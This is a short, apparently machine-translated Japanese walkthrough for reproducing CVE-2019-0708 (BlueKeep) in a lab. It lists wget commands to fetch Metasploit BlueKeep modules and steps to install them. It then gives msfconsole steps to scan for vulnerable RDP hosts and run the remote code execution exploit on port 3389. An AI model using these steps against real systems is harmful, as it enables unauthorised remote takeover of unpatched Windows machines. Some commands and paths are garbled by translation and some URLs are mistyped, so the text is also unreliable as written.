再生CVE_2019_0708

 

Xx_introduction

• してください保護、尊重、愛、「中国のインターネット保障法」！
• 参照だけを学ぶために！
• ソースを示してください！

Ax_Preparation

• Windows 7のSP1のダウンロード：ED2K：// |ファイル| cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso | 3420557312 | B58548681854236C7939003B583A8078 | /
• VMware Workstationはプロ15ダウンロード：https://my.vmware.com/cn/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation_pro/15_0
• Metasploitの5.xのダウンロード：  https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
• Linuxのオウムダウンロード：https://parrotlinux.org/download-security.php
• CVE-2019-0708は、ツールを活用します：

1. wgetのhttps://github.com/rapid7/metasploit-framework/edb7e0221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/explot/rdp.rb
2. wgetのhttps://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scaner.rb
3. wgetのhttps://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
4. wgetのhttps://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
5. CP rdp.rbを/ usr / share / Metasploitのフレームワーク/ LIB / MSF /コア/悪用/
6. CP rdp_scanner.rbを/ usr / share / Metasploitのフレームワーク/モジュール/補助/スキャナ/
7. CP cve_2019_0708_bluekeep_rce.rbを/ usr / share / Metasploitのフレームワーク/モジュール/悪用/窓/ RDP /
8. CPのcve_2019_0708_bluekeep.rbを/ usr / share / Metasploitのフレームワーク/モジュール/ auiliary /スキャナ/ RDP /

Bx_Scan

• MSFのアップデート
  1は、 APT- 取得更新
   2を APT- 取得 Metasploitのフレームワークをインストールします

   

• 1  SUルート
   2  msfconsole
   3  reload_all
   4サーチ0708 
  5用補助/スキャナ/ RDP / cve_2019_0708_bluekeep
   6  セットのrhosts XXX
   7ラン

  

Cx_Exploit

1使用ウィンドウ/ RDP / cve_2019_0708_bluekeep_rce 2 セットrhost XXX 3 セットのターゲットXXX 4 セット RPORT 3389 5活用

• もう一度